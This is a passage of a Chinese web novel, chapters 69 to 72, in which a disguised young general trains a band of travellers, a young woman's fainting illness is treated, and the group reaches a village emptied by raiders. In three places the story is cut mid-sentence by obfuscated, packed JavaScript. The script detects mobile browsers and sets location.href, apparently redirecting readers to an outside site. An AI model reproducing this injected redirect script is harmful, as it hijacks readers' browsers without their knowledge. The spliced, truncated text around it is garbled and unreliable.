“她一个姑娘家,又怎的有那厚脸皮说这些话,”羿衍椋盯着仲茂几人说,“我来帮她训练这几人,日后或许帮不上她什么忙,但也不会成为她的拖累。” 盛樗容只能向仲茂他们几人投去自求多福的眼神。 你们好自为之吧,现在也只有燕姑娘才能把你们从我七哥手下解救出来了。 等燕惜妤在半梦半醒中意识模糊不清时,就被仲茂的一声嚎啕的惨叫给惊得一下子翻身坐了起来—— 难道又碰上劫匪马贼了?这次轮到仲茂被揍了? 69. 第69章 燕惜妤正要从板车里冲出去的刹那,听见了佟槿方幸灾乐祸的声音。 “都好好练着,别偷懒啊!” 燕惜妤一顿,轻轻地掀开垂下的草帘子往外看,一眼就和羿衍椋对视上了。 羿衍椋一直都在留着着板车这边的情况。 但不是他想分心,实在是他也是无意识地总是往这边瞄两眼。 当草帘子忽然动了一下时,羿衍椋的心倏地就跟着跳了跳。 心里正想着是不是燕惜妤醒了,下一霎就和对方四目相对。 他瞬间脱口而出:“你醒了?!”声音一下子没控制住,比往常高了两分。 “啊是,”燕惜妤头上的发髻还乱着,也不好直接从板车里出来,“我刚醒。” 其他人这时听见声音纷纷看了过来,尤其是罗采春是小跑着到板车旁,她连眼眶都红了:“阿妹醒了?好些没?” “我没事,”燕惜妤对她笑,“三姐快来帮我梳头发。” 罗采春也笑着坐进了板车里,帘子重新放下阻挡了其他人的视线。 见燕惜妤没事,大家也就安心了。 尤其是仲茂几人,这时一个个瘫在地上苦着脸说:“阿七,燕姑娘醒了,我们也歇会吧。” 他倒是不敢说不练,毕竟阿七先前刚讲他们五兄弟靠个姑娘家很丢男子的脸面。 他们自然要挣回身为男子的脸面,只不过这脸面挣的实在是太累了,就连还躺在马车里的仲四看着他几个兄弟,都在心里觉得自己这身伤还是慢些痊愈的好。 “这才练了几个时辰就要歇,”羿衍椋冷冷地说,“燕姑娘一人进山时,你们可有想着去帮帮她。” 仲茂四人顿时就不敢吭声了,只能忍着浑身的酸痛挣扎着又站了起来,然后继续练马步 马步看似是半蹲着,但时间一久人就受不了,不仅双腿在颤抖,腰臀也一直在往下沉,就连脖子也会跟着一起难受。 “下盘稳,才能在对战中有取胜的机会,”羿衍椋继续冷声说,“你们也别小瞧了这马步,要是你们被人一踹就倒,等你们想爬起来时就已经人头落地了。” 仲茂几人咬着牙在撑着,根本就不敢开口说话,一张嘴就泄气,人就又倒下了。 “到乌州还需要好些日子,你们先练着马步,然后再练刀法,”羿衍椋已经给他们都安排好了,“你们也不上战场,刀法是学来保护身边的人,学几招有用的就成。” 羿衍椋说完,又下意识转头去看板车,结果一回头,发现燕惜妤已经站在了他身后。 “你……”他先前记挂着这人什么时候能醒,这时人醒了,他忽然就不知道该说些什么,“我这是……” “你给仲茂他们教练武?”燕惜妤好奇地看着正在练马步的人。 她的语气过于平淡,羿衍椋不知道她对于仲茂几人习武的想法,只能自己先解释:“你平日若是单独出去,留下罗姑娘和佟姑娘,他们也该学武才能护着身边的人。” “嗯,”燕惜妤点点头,然后看着他,“你教?” 羿衍椋这时是听出她的意思了,她在怀疑他能不能教人习武。 “我虽然是猎户,但也是曾跟着老师父学过几招的,”羿衍椋早就想好了说辞,“你若是不信我,那你自己教他们拳脚功夫。” “别!”燕惜妤连忙摇头,“我教不了他们。” 燕惜妤确实无法教别人拳脚功夫,她自己之所以会,那是因为自身的天赋。 “还是你来教吧,”燕惜妤想到他刚才说的话,“只教刀法?” “只教刀法,”羿衍椋点头,“他们不是自小习武,这时学拳脚功夫打不过其他人,但手上有刀就不同,最起码利器能伤人。” “这样啊,”燕惜妤想了想,看向正憋的脸红脖子粗的仲茂几人,“你们想不想学?” 她也不打算强迫别人习武,若是他们不想学,她也无所谓。 仲茂他们也不说话,只用僵硬的脖子艰难地小幅度点点头。实在不敢有大动作,动一下就会摔。 “那有劳阿七你了,”燕惜妤这才说,“到乌州到这段路上就辛苦你了。” “嗯,”羿衍椋点点头,低头看着她也不知道要说些什么。 燕惜妤醒了,他的心莫名其妙地就变得浮躁,整个人无法静下来。 燕惜妤转身要走开,他也下意识要跟着。 燕惜妤回头看他,又扫了眼正在憋的快要断气的仲茂几人:“怎么了?”你该不会想让我也跟着蹲马步吧。 “没,我……让仲茂他们歇一会,”羿衍椋没话找话,这话只是随口说的,但仲茂他们四人瞬间就趴下了。 羿衍椋看着他们摇了摇头,看来是练少了。 燕惜妤在旁边看了眼,转过身又想走开,结果阿七还跟着她。 她又回头看他:“阿七?”你有话就说,走一脚跟一脚的是要干嘛? “……我去前头看看,”羿衍椋倏地转身,朝着玄归走了过去。 佟槿方原本在旁边打趣仲茂几人,这时见他要去骑马,猛地就蹦了出来:“阿七,你要骑马?不能骑!” 其他人纷纷用诧异的眼神看着他,佟瑰方忍不住说:“阿弟,那是阿七的马。” “就是不能让他骑他的马!”佟槿方瞪着眼睛说,“他上回也是骑马去前头看看,然后把山匪带过来了,他要是自个儿走的,山匪说不定都懒得搭理他。” 马匹多值钱啊,比人命值钱多了,买马匹很难,杀几个老百姓却很容易。 羿衍椋顿了一下,脚下一转,不再向着玄归走去:“我去前头看看,你们歇会。” 盛樗容在旁边从头到尾看着这一幕,一时有点搞不懂他七哥这到底是怎么了。 等他走远了,燕惜妤这才看着佟槿方。 佟槿方被她看的胆怯,一步一挪地走了过去,明知故问地开口:“怎的了?” 燕惜妤对他指了指自己头顶上的三根银针:“帮我把银针拔出来。” 佟槿方立即后退了一步,下意识回头找佟瑰方。 佟瑰方看他这样,也就走了过来。 罗采春也一直担心着燕惜妤头上扎着的银针,也不声不响地凑了过来。 “你不敢拔?”燕惜妤看出了佟槿方的害怕。 佟槿方不想被一个女子看轻了,于是一咬牙:“我敢!” “那你进来,”燕惜妤掀开板车上的草帘子坐了进去。 其他三人也坐了进来,除了燕惜妤,剩下的人都很紧张。 “银针拔出来……会没事吧?”罗采春忍不住问。 谁说没事!事儿可大了,但你阿妹她不怕! 佟槿方在心里无声喊着,不过他不敢说出来,因为燕惜妤扫了他一眼。 “三姐放心,没事的,”燕惜妤笑着将脑袋往佟槿方面前一伸,“佟兄弟,你拔银针吧。” 佟槿方在这刹那双手手心直冒冷汗,仿佛连呼吸都停滞了一下。 他不敢看身旁坐着的罗姑娘和他阿姐,只怔怔地看着燕惜妤头顶上那三根银针。 燕惜妤也不催他,反正今日这银针总是要拔出来的。 就在这时,板车外头忽然传来仲茂的声音:“燕姑娘?” 佟槿方像是被惊醒了似的,一伸手两指一捻,一眨眼就把三根银针都给拔了出来,而燕惜妤还维持着先前伸脑袋的姿势。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774302|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “阿妹?”罗采春刚开口要说话,燕惜妤忽然无声无息地一头向前栽了下去! “阿妹?!” “燕姑娘?!” 板车里陡然响起的惊呼声被外面的人听见,仲茂他们几人原地弹了起来。 “燕姑娘怎么了?!” 盛樗容也走了过来:“出什么事了?” 这时佟瑰方拉着佟槿方掀开草帘子下了板车。 “佟姑娘,咱燕姑娘怎么了?”仲茂撑着酸软发胀的双腿走过来问。 她表情语气都很平静:“燕姑娘刚醒还有些头晕,要再歇会。” “燕姑娘还头晕?莫不是病还没好?”仲二颤巍巍地站着,“那我们走远些,不要吵到燕姑娘歇息。” 他们几人从盛樗容面前走过,留下佟瑰方俩姐弟。 盛樗容看看她,又去看佟槿方。 佟槿方脸色有些苍白,手里还抓着一卷包有银针的布。 “罗姑娘?”盛樗容不是不信他们俩姐弟,但这些人之中燕惜妤最信任谁,那必定是罗采春。 “我阿妹没事,”板车里传出罗采春的声音,“她很快就会醒的。” 醒? 盛樗容蹙了蹙眉,燕姑娘又昏厥过去了? 他也不好再多问,人家燕姑娘的三姐都说人没事。 盛樗容转头看了看官道前头,这时要是他七哥在就好了。 羿衍椋在官道上快步走着,等走累了,这才慢慢地停了下来。 官道两边都是树林,附近连小村子都没有,只有一座又一座望不到头的大山。 平县过去就到了埬州,等走过埬州,就是乌州。 到了乌州,也就到了他羿家军所驻扎的边地。 燕姑娘也要留在乌州边地,不知道她之前说的去边地附近套野马是真还是假。 如果她一直能留乌州边地,那离他羿家驻扎的营地只不过几里路。 虽然还有山林隔着,但几里路也很近,他只要骑着玄归就能随时去看她…… 羿衍椋站在官道上,抬手抚了抚胸口的位置,那里怦怦地跳着,有些莫名的躁动。 斜阳下,他的影子被拉的很长很长。 等光线消失后,羿衍椋又走了回来。 他还顺手摘了好些野果,和抓了两只野鸡,想拿来炖给燕惜妤吃。 结果回来一看,燕惜妤没在。 “阿盛,燕姑娘呢?”羿衍椋左右看了看,问出这句话时,他的视线停在了被草帘子挡住的板车上。 “罗姑娘说她要再歇会,”盛樗容也看了眼板车的方向。 “还要再歇会?”羿衍椋眉毛一皱,目光立即扫向了佟槿方,这个没用的小郎中,带在身边没一点用。 佟槿方正在喝水,被他这么一看,总觉得后背有点儿凉飕飕的。 就在这时,罗采春从板车里出来了,她掀着草帘子的手没放下,燕惜妤跟在她身后走了出来。 “燕姑娘!”仲茂正在用脚踩断柴火,晚上火堆里的柴火不能熄,要一直燃烧着,才能惊走那些野兽。 “都吃着呢,”燕惜妤走到他们旁边盘腿坐下。 才刚坐下,身边已经坐下了一个阿七。 燕惜妤侧头看看他,其他人也在看他。 阿七不是一向都和阿盛俩人待着的吗,今儿怎的坐到燕姑娘身边了? 他们转头去看独自坐在树下的阿盛。 就连羿衍椋也侧头看了过来,那眼神就像在问他:你自己坐那做什么?过来一起坐啊。 ……我就压根儿没和他们坐一起过,七哥你先前也是! 盛樗容慢吞吞地站了起来,对他七哥敢怒不敢言。 70. 第70章 所有人围坐在一起,这还是一起赶路以来的第一次。 以前羿衍椋和盛樗容没加入之前,仲茂他们五兄弟虽然不避燕惜妤,但却会避罗采春和佟瑰方,通常都是五兄弟另坐在旁边。 后来羿衍椋和盛樗容一起赶路,就分开三处坐。 羿衍椋和盛樗容一般是靠着树下坐着,仲茂五兄弟对着马匹坐着,而燕惜妤和罗采春还有佟瑰方俩姐弟坐在灶火边。 今天忽然所有人都围在了灶火边,大概是因为燕惜妤之前病了的原因。 燕惜妤一病,大家心中顿时就像失去了顶梁柱,既怕路上遇见劫匪,又怕半道撞见猛兽。 就像这时,夕阳才刚落山,不远处的树林里已经传出了好些鸟兽的叫声。 不只四蹄野兽令人害怕,那些爪子利如弯钩的猛禽也能伤人性命。 他们这行人这一路如果没有燕惜妤震着,走到这里指不定还剩下多少人。 所以燕惜妤这会儿好好地坐在这里,他们就默默地聚在了一起。 离燕惜妤近些,总觉得让人特别安心。 “这是啥子的叫声?听着咋这么瘆人?”仲二边说边搓了搓双手臂。 “你管它是什么,”仲茂边夹羊肉边说,“又没让你去抓来吃。” 燕惜妤这才留意到今日有羊肉:“羊肉哪来的?” 她边说边看了看四周,这才发现陆家商队不在,但多了一匹马和一辆马车:“曾管事他们去城镇里了?怎么还给我们留了马车?” 罗采春这才把之前曾管事说的话讲给她听。 “这也太周到了,”燕惜妤看看仲四那青紫色的脸,嚼饭时整张脸都是拧着的,“多辆马车也好,仲四能躺着赶路。” “我把阿谦他们三个娃娃也抱过去坐马车,马车比板车挂着的草帘子挡风,夜里能睡得舒坦些,”罗采春给燕惜妤夹了好些羊肉,“这是曾管事留下的,你多吃些,补补身子。” 说到补身子,坐在燕惜妤旁边沉默吃饭的羿衍椋立即开口:“我逮了两只野鸡,明日拿来炖汤给燕姑娘喝。” “也好,鸡肉也很补身子,”罗采春点头,“明日我先炖一只,留一只过几日再炖。” “连着炖给燕姑娘吃,”羿衍椋放下筷子说,“我再去山里抓就是。” 燕惜妤转头看他:“你还真当过猎户?” 虽然阿七说什么燕惜妤就信,但她还真没信他会是猎户,毕竟没有哪个猎户能随身带着一大叠银票的。 “那是自然,”羿衍椋面不改色地说,“乌州的那些大山我大多都进去过。” 他这是真话,因为他会带着驻守边地的羿家将士隔三岔五深入大山,防止夷狄人躲在山林中偷袭大承边地的老百姓。 “山里面多猛兽吗?”燕惜妤问他。 “深山很多,山脚少些,”羿衍椋说,然后看她,“你也想进山打猎?”你不是要去大漠套野马野羊野骆驼吗? “没,进山打猎太累,我就想知道都有些什么野兽,会不会跑出来吃人,”燕惜妤摇头,一整片大漠上的野兽最起码能知道具体的位置,只要跟着夷狄人的居住之地就能找到,大山里阴暗不见天日,打猎很难。 除非像悬崖村那样,野猪自动送上门,否则她不会以打猎为生。 “乌州边地与大漠交界,地大山多人少,山上的野兽极少下山,百姓不敢进山打猎,所以山中自然不缺吃的,”羿衍椋看着燕惜妤,话中有话地说,“只要百姓不深入大山,就不会碰见野兽,若非要进山,最好找个猎户为你带路。” 燕惜妤边听边点头。 盛樗容在旁边看着忍不住开口说:“燕姑娘,我七哥是在说你到了乌州要是想进山,可以找他给你带路。” 燕惜妤和羿衍椋一起看向他,盛樗容连忙低头夹羊肉。 这羊肉可真好吃啊。 羿衍椋瞥他一眼,然后看着燕惜妤:“阿盛这话也有道理,你到了乌州人生地不熟,若是需要帮助,你可以随时来寻我。” “多谢你们,”燕惜妤诚心诚意地说,“我忽然对去乌州充满了期待。” 羿衍椋抿嘴笑了笑。 吃过简单的饭菜,燕惜妤对着佟槿方一颔首,示意对方跟她过来。 佟槿方磨磨蹭蹭又不情不愿地跟着她走到一旁。 羿衍椋原本要和盛樗容去树下歇息,一见这情景,顿时就站住了脚。 他担心燕惜妤的病情,想知道她具体的情况。 佟槿方垂着头走到燕惜妤的身边:“燕姑娘有事要说?”他是不会主动开口的,燕惜妤如果不问,他会一直假装不知情。 燕惜妤看着他说:“你那三根银针刺穴没用,我记得你说还另外有两个法子。” 银针刺穴虽然可以防止她动武后出现断气的情况,但又从断气变成了晕厥。 这对于她来说并没有什么作用,她想要的是能掌控自己的这具身体,无论动武后断气还是晕厥,都令她失去了对身体的掌控,这要是在对抗中,她必死无疑。 佟槿方曾经说过有三种方法,第一种治疗的方法不管用,她现在需要另外的两种治疗的方法。 佟槿方垂着头说:“是还有两个法子,但是……我手上并无金针。” 另外两个法子用到的都是金针,他是真没有金坨子。 “金针?”燕惜妤皱了皱眉,“银针不行吗?”她身上就是银子都不多,该去哪儿再找出没被制过的金坨块? “不行,”佟槿方抬头注视着她,“金针有定神静心固魂之奇效,你若要治离魂症,只能用金针。” 燕惜妤眯了眯眼睛:“那些老郎中手上是不是有金针?” “……并不是所有郎中都有金针的,”佟槿方噎了一下,“就连我佟家也只有三副金针。” 金银针大多都是祖上传下来的,尤其是金针,那更是不可多得。 “这样啊,那就先这样,”燕惜妤对他笑笑,“最起码我不会再断气吓到他人,这次多谢你了。” “燕姑娘客气,”佟槿方都不敢再看她。人家燕惜妤帮他救出了他阿姐,又带着一路逃去边地,而他却连她的病都不曾治好两分。 只是把断气治成了晕厥,这又有何用,不照样还会在动武后变得人事不省。 佟槿方从羿衍椋面前磨磨蹭蹭地走过去,又从他面前垂头丧气地走过来。 羿衍椋看着他这样子,不用猜就知道这人治不好燕惜妤的病。 他沉默地走到树下盘腿坐着,盛樗容在旁边靠着树干闭眼歇息,忽然说:“七哥你怎的在叹气?” 羿衍椋一怔,他叹气了? “燕姑娘的病……”羿衍椋也说不出燕惜妤到底是什么病,只得又改口,“也不知军营里的老郎中能不能治好她。” “很快就能到乌州了,到时你把老郎中带过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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毕竟离乌州还有好些日子,七哥再焦躁也没用。 而这时羿衍椋一手拎着两只野兔,一手握着砍刀,正和一群衣衫褴褛的人面对面站着。 对方有人喊:“把你手里的砍刀和野兔都留下,否则就不要怪我们哥几个心狠手辣!” 这几人看着就像是村民,但又比村民多了丝匪气,估计是打算落草为寇。 羿衍椋要是动手,这几人一个都活不了。 但是一想到仲茂他们正在练习着刀法,羿衍椋就打算拿这几个人来给仲茂他们练练手。 于是他一个转身,跑了。 那几个人哪里敢把到手的野兔就这样放跑了,于是紧跟着追了过来。 “别跑!” “再跑就打断你的腿!” 喝止声传到佟槿方和仲茂这边,他们几人互相看了看。 “……你们都听见了?”佟槿方问。 “嗯,”仲茂他们点头。 “……是不是阿七又把匪徒引回来了?”佟槿方有些艰难地开口。 其他几人没有说话,不用再猜了,因为他们已经看见追着阿七跑过来的那几个人了。 71. 第71章 羿衍椋一手拎野兔,一手握着砍刀,边跑还边回头看,生怕那些人跟丢了。 待看见停在树下的板车和马车后,他做出了慌乱的表情,边跑边喊:“燕姑娘快救我!” 仲茂几人早已经傻了眼,都已经千防万防不让他骑着马出去了啊,为何他还能把歹人给招惹过来?! 这人难不成是瘟神附体?!日后定要离他远远的! 羿衍椋带着那几人已经越跑越近,他还不忘继续喊:“燕姑娘快救我!” 要先把燕惜妤引出来,免得她自己亲自动手,这些歹人是要留给仲茂几人练手的。 仲茂他们此时那就一个愤怒,个个恨得牙痒痒:“别喊了!燕姑娘又病了,正睡着呢!” 羿衍椋脚步只顿了一霎,跑到板车旁边时,一扬手把野兔和砍刀都给甩到了板车底下,然后往垂着草帘子的板车里一钻。 其他人这时正只顾着瞪快冲到近前的歹人,根本没留意他的动作。 只有罗采春转头一看,发现他已经把燕惜妤从板车里背了出来。 “你做什么?快放下我阿妹?”罗采春被他吓了一跳,“这歹人已在眼前了,你怎的还把我阿妹背出来了?!!” “你们快帮我挡着些他们!我带着燕姑娘先逃!”这人一溜烟儿从大家身边跑过,众人回头看时,他已经背着燕惜妤快跑没影了。 留下盛樗容和其他人目瞪口呆地立在原地。 “有马!” “快!兄弟们抢马!” “还有女人!” “快!兄弟们抢女人!!” 那几个被羿衍椋引过来的歹人个个面目狰狞地举着砍刀要冲过来! 盛樗容回头看看,发现他七哥背着燕姑娘在远外躲着偷偷向这边张望。 “……仲茂兄弟,你们不是刚学了几招对敌的刀法吗,”盛樗容只得开口说,“燕姑娘病着,我身子羸弱,剩下的就是手无缚鸡之力的女子和娃娃,这会是最需要你们几兄弟的时刻。” 仲茂他们几个互相看看,又回头看看罗采春和佟瑰方,还有正躲在马车里的小娃娃,他们的眼神渐渐地露出腾腾的凶光。 “敢抢老子的马,我看你们是不想活了!”仲茂横眉立目地一扫身边的兄弟,“哥几个,咱们和他们拼了!!” “和他们拼了!!” “燕姑娘能剿匪,我们也能!” “绝不能给燕姑娘丢脸!” 只见他们纷纷抽出砍刀,迎着跑过来的歹人就冲了上去! 顿时“铮”“铮”“铮”的利器相击的金属声响的让人心里发颤。 燕惜妤就是被这些声音惊醒的。 她睁开眼睛时,看见了半张很是俊逸的侧脸。 是阿七? 燕惜妤眨巴眨巴眼睛,呼出的气息就喷在背着她之人的颈侧。 然后她就发现阿七背着她的腰杆一下子挺得更直了。 “……燕姑娘醒了?”羿衍椋没侧头向后看,他背了燕惜妤这会儿,能从她的呼吸察觉出她的不同。 “嗯……”燕惜妤刚从晕厥中醒过来,头还有些昏昏沉沉的,她顺着金属撞击的声音看过去,然后看见了一群人正在挥舞着砍刀在互撞,双方动作都很慢,但却又下了猛劲地想要将对方撂倒,“……仲茂他们这是?” “正和打算抢我们这边马匹的歹人打着呢,”羿衍椋稳稳当当地背着燕惜妤,但脑袋却是不敢向后移一下,“仲茂他们还是很用心在练着刀法。” 就从这次的练手中可以看出,仲茂他们四人对着六、七个歹人也是还占据着上风的。 “抢我们的马?”燕惜妤眼神有着一瞬间的茫然,之后随即就清醒了过来,“又是你把人引过来的吧。” 羿衍椋怕她又说要杀了他,于是解释道:“是我引回来的,特地引过来给仲茂他们几兄弟练练手,不用怕他们会受伤,对方那些人手上的柴刀钝的连草都割不掉。” 不过虽然不会被砍伤,但要是被对方用柴刀劈中也是会很痛的。 燕惜妤没说话,只是安静地待在他的背上。 羿衍椋一时不知她的情绪是好是坏,只得继续解释:“你日后要同他们留在乌州,边地靠近大漠,虽然近些年不会有战争,但那地方鱼龙混杂乱得很,你一人应付着太累了,仲茂他们几兄弟虽然识字不多,但要是他们能自保的同时又能护着罗姑娘他们,那你肩上的担子就会减轻许多,或许在某些时候还能帮到你。” 燕惜妤还是没出声。 “先前去鬼山寨剿匪……”羿衍椋想说当时的燕惜妤没人帮,不过他却没直接说出来,而是换了另一种说法,“日后在乌州,若是遇到难事,仲茂他们没大用,你就来寻我,我可以助你。” 他说了这么多,燕惜妤还是一声不吭。 羿衍椋心里有些不安,于是轻声问她:“燕姑娘?是我冒犯了,不该越……” “阿七,多谢你,”燕惜妤忽然出声打断了他,“我在这里能认识你,真的很幸运。” 燕惜妤说出这话时,鼻子无由来地就是一酸。 她忽然来到了陌生的大承王朝,无依无靠也就算了,偏偏她还出现了时不时断气的情况。 之前她和罗采春说不要因为她会断气就活埋她,其实也是在赌,毕竟要是罗采春真的把她活埋了,她也无可奈何,否则她还能怎么样呢,她断气时就是死人。 她还曾对罗采春说过把她埋了吧,是因为她无法确定自己多次断气后会不会再活过来,所以她希望罗采春能把她埋了,不要让她暴尸荒野。 罗采春也是逃出来的,自身都难保,她根本就没想过能从对方身上得到帮助。 大家都活在最底层,不给对方添麻烦就已经是给彼此最大的帮助了。 所以后来认识的这些人,燕惜妤对他们也是一样的想法。 但此时背着她的这个人,却不仅说了有事可以找他,甚至还因为怕她日后生活会没人帮,所以为了她而教仲茂他们练习刀法。 他不是嘴上说说而已,他是言出必行,已经为她在做着他力所能及的事情。 燕惜妤张了张嘴,想再多说几句道谢的话,但她却一时不知道该说些什么。 以前她从没遇见过这种会为她着想的人,以后……或许也就只是会遇到这么一个阿七了。 “阿七,多谢你,”燕惜妤垂着眉,但嘴角却上扬着,声音轻快爽亮,“等到了乌州,你如果需要帮忙,也可以来找我。” 明明是不可能知道的,但羿衍椋却莫名地感受到了背上之人心里那酸酸甜甜的感觉,他很轻地笑了声:“那我可就记下了。” 不过他是羿家少将军,到时该用什么借口去找她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“很好!”燕惜妤给他鼓了鼓掌,“记住现在这气势,日后我们到了乌州就要靠你们几兄弟了。” 羿衍椋在旁边看着这一幕,心里只觉得有趣。 仲茂他们其实也还是容易被人欺负的老百姓,只不过因为他们身边跟着一个燕惜妤,所以仲茂他们才敢大胆地去尝试着反抗。 因为他们知道,要是他们受了欺负,就像仲四一样被山匪揍了,燕惜妤就会为他们出头。 他们在不知不觉中早就学会了狐假虎威。 于是受到鼓舞的仲茂几兄弟,连带着佟槿方一起,学起刀法更加用心了。 佟槿方是自己主动要学的,大概是见仲茂他们跟着阿七学到了真本事,于是他也要学。 估计他是怕自己治不好燕惜妤的病,所以就想学好刀法,日后带着他阿姐离开燕惜妤。 燕惜妤有时也会在旁边看,越看越觉得阿七教的这套刀法很不一般。 这让她对阿七的真实身份产生了一些好奇。 不过她也没问,阿七不说,她问了就会让对方为难,她不想听到谎言。 等到了乌州,总有机会知道他的真实身份。 离乌州越近,山林就越多,土地也越荒凉。 一连几日都没看见有村庄,没村庄就没人气,所经之处全是大山和森林。 直到这日,他们远远地总算看见了一处小村子。 “欸?前头那是不是村子?”仲二惊喜地指着前方。 “好像是,”燕惜妤掂起脚尖看了眼,“过去看看。” 一行人兴冲冲地牵着马过去,结果到了近前一看,全都傻眼了。 72. 第72章 眼前这村子像是刚被马匪洗劫一空,乱糟糟的,连个鬼影都没有。 “……村子里的人呢?”佟槿方左右看了看,迟疑着说,“马匪进村难道会屠村?” “这个还真不好说,”仲茂握紧了手中的砍刀,“有些马匪只要粮食钱财,但有些马匪进村只为了杀人放火。” “那被杀村民的尸首呢?”佟槿方还是觉得这事有蹊跷,“要是屠村,那该是一眼就能看到一地的尸首,并且还能闻见臭味,但这村子都没有。” 大家再仔细一看,果然像佟槿方说的那样,没尸首也没臭味。 “许是被抓走了?”仲二说。 “把一村子的人都抓去做啥?”仲茂反问他,“汉子女人捉走还能说得过去,也没见马匪把老人小孩也一起抓走的。” “逃走了吧?”罗采春忽然说,“马匪来了一次村,就会再来第二次,村里人都逃走了。” 她这话说得也有道理,不逃难道留在村子里等着被杀吗。 “乌州有羿家军,为啥羿家军不来把那些山匪马匪都给杀了?”仲五低声喃喃自语道。 虽然他声音不大,但其他人都听见了。 盛樗容看了眼他身边的七哥,发现对方正脸色阴沉地站着。 他在心里为他七哥叫屈,开口道:“羿家军虽然离这里不算远,但剿匪不是羿家军该做的,剿匪是衙门的责任。” “可衙门不管,羿家军为啥就不能管?”仲五不明白这一点。 明明羿家军营里有那么多将士,他们如果帮忙剿匪,大承就不会再有匪徒。 “仲五兄弟,我先问你,羿家军的将士是做什么的?”盛樗容看着仲五问。 “在边地守国门的,”仲五脱口而出。 “对,羿家军负责守国门,要是把羿家军调去剿匪,”盛樗容正色道,“大承所以的州县都有匪徒,羿家军如果去剿匪,那就要分散到大承的各州县去,匪徒也是从百姓落草为寇,他们如果藏在百姓之中,羿家军很难将他们找出来,而一旦在这个时候夷狄蛮人如果突袭大承边地,那谁去守国门?” 仲五一愣,有些懵:“羿家军不能离开边地。” “没错,守边田的将士无诏不得离开边地,一旦被发现那是杀头的大罪,”盛樗容叹气道,“剿匪是衙门的责任,衙门有衙差,城池有官兵,那是他们的责任。” “那这村子……”仲五用眼睛扫了四周一眼,“不还是变成了这样,你说该怎么办?”马匪来了又走,衙差人影都没见着。 盛樗容没好气地看着他:“这话你该去问那衙门里的官老爷,你问我……我怎会知。” 仲五愣愣地看着他憨笑:“阿盛兄弟,你是读书人,你去当官然后把匪徒全给杀了。” 盛樗容立即摇头:“那不行,我这身子弱的很。” “你可以先同咱哥几个一起练刀法,”仲五很有诚意地要和他一起习武,“我可以教你。” 盛樗容瞪着他,我看你这是瞧我不顺眼,想要把我折腾死! “仲五,你别劝他了,他就不是个能舞刀弄枪的人,”仲茂撇了撇嘴,“就他那身子骨,你让他跟着你只会拖后腿。” 盛樗容又转头去瞪仲茂。 仲茂假装没看见他的怒目,侧脸对燕惜妤说:“燕姑娘,先前在其他州县都没见过这样的空村子,看来乌州果然很危险,不过乌州有羿家军在,想来会比这边太平些。” 燕惜妤四周看了看,皱着眉说:“匪徒不知何时会偷袭,我们自己也要注意些,衙差不可能会时刻留意着他们的动静,万一要是碰见,衙差赶来也需要时间。” 她这话像是在说若是遇见匪徒就等衙差来抓,而大家却不约而同地想到了之前仲四被山匪打伤的那回,她自己都已经把山匪寨子给剿了,衙差才不紧不慢地出现。 他们彼此互相对视了一眼:靠天靠地不如靠燕惜妤! 就在这时,前头的破屋子里传出了窸窸窣窣的声音。 “有人?!”仲茂惊得立即握紧了手中的砍刀,“是谁?出来!” 其他人也都警惕地一同看了过去。 过了一小会,从半掩的破木门后面露出了一个脏兮兮的小脑袋。 “是个小娃娃?!”仲茂倒还算警醒,他见出来一个站着个头刚到他大腿的小娃娃也不敢松懈,而是继续盯着破屋,“谁在里头?出来!” 小娃娃很听话地走了出来。 这小娃娃虽然衣裳脸蛋都脏兮兮的,但衣裳却不破,比初时见到阿谦他们三人时好多了。 “屋里难不成没人?”仲茂向前走了一步。 那小娃娃被吓得一下子就跑了过来,然后抱住了站在仲茂身边的燕惜妤。 被抱住大腿的燕惜妤低头看着那小娃娃。 看身上的衣裳像是女娃,眼睛圆溜溜的,脸上没什么肉。 那小娃娃也正抬头看着燕惜妤,也不知想从她脸上看什么,忽然嘴一张,“哇哇哇”地就大哭了起来,边哭还边用手指着某个方向。 “……那边难道还有人?”仲茂伸长脖子看了过去。 “过去看看,”燕惜妤微一弯腰伸手把小娃娃抱了起来,“别哭了,当心虫子飞进你嘴巴里。” 小娃娃显然是听懂了,倏地一下就闭紧了嘴巴,但小身子还一颤一颤的。 “乖,”燕惜妤抬手轻轻顺着小娃娃的后背,“马车上也有三个小娃娃,等会让你同他们坐一起。” 阿谦他们三人听见小孩哭声,早就已经从马车里伸出小脑袋往这边看。 “不准出来!”罗采春假装凶他们,“掉下马车可疼了。” 三个小脑袋连忙又缩了回去,不过被燕惜妤抱着的那小娃娃刚好看见了,正歪着小脑袋盯着马车。 “是不是这?”仲茂带头走到一间破屋子前,他还没想好该怎么进去才是最安全的,羿衍椋已经抬腿走了进去。 “哎阿七你当心些!”仲茂连忙跟上,然后很快就从屋里传出了他的喊声,“燕姑娘,这屋里躺着一个老妇人。” 羿衍椋这时已经又从屋里走了出来,他看着燕惜妤说:“只有一个老妇人,看样子像是受了伤。” “佟姑娘还有佟兄弟,你俩随我进去看看,”燕惜妤抱着小娃娃带着人走进去,同阿七擦肩而过时,她低声说,“你守在这,防止附近有匪徒埋伏。” 羿衍椋颔首:“好。” 屋里很破旧,仲茂正握着砍刀站在塌了一小半的炕边上。 小娃娃一看见炕上躺着的老妇人,连忙挣扎着要从燕惜妤怀里下来。 燕惜妤弯腰将人放在地上,小娃娃熟悉地爬上了炕,然后坐在胸口无甚起伏的老妇人身边。 燕惜妤侧了侧身,给佟瑰方俩姐弟让开了路。 